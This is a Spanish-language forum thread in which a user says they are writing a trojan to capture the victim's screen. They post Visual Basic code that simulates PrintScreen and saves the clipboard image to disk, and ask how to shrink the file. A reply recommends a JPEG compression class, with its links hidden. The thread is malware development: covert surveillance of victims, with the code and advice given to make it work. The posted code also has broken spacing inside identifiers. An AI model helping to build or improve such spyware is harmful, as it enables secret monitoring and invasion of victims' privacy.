Bajar resolucion de imagen

[Loon]

Buen día.

Espero que me puedan ayudar, Estoy haciendo un troyano, y quiero que genere una imagen del la pantalla de la victima, mi problema es, como le puedo hacer para que la imagen sea de menos resolución ya que pesa 2.5 MB el código que utilizó es el siguiente:

Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Const KEYEVENTF_KEYU P = 2
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)


Private Sub copiar_Y_Guard ar()
Dim objPic As Picture
On Local Error Resume Next

Dim imagen As IPictureDisp
keybd_event 44, 0, 0, 0

Set imagen = Clipboard.GetD ata
DoEvents

SavePicture imagen, "c:\pantalla.bmp"

End Sub

Gracias

[Punk-Rock]

Lee sobre la calse cJPEG

Aki te dejo info:


Para ver este enlace Registrate o Inicia Sesion


Para ver este enlace Registrate o Inicia Sesion


Para ver este enlace Registrate o Inicia Sesion


Para ver este enlace Registrate o Inicia Sesion

Salu2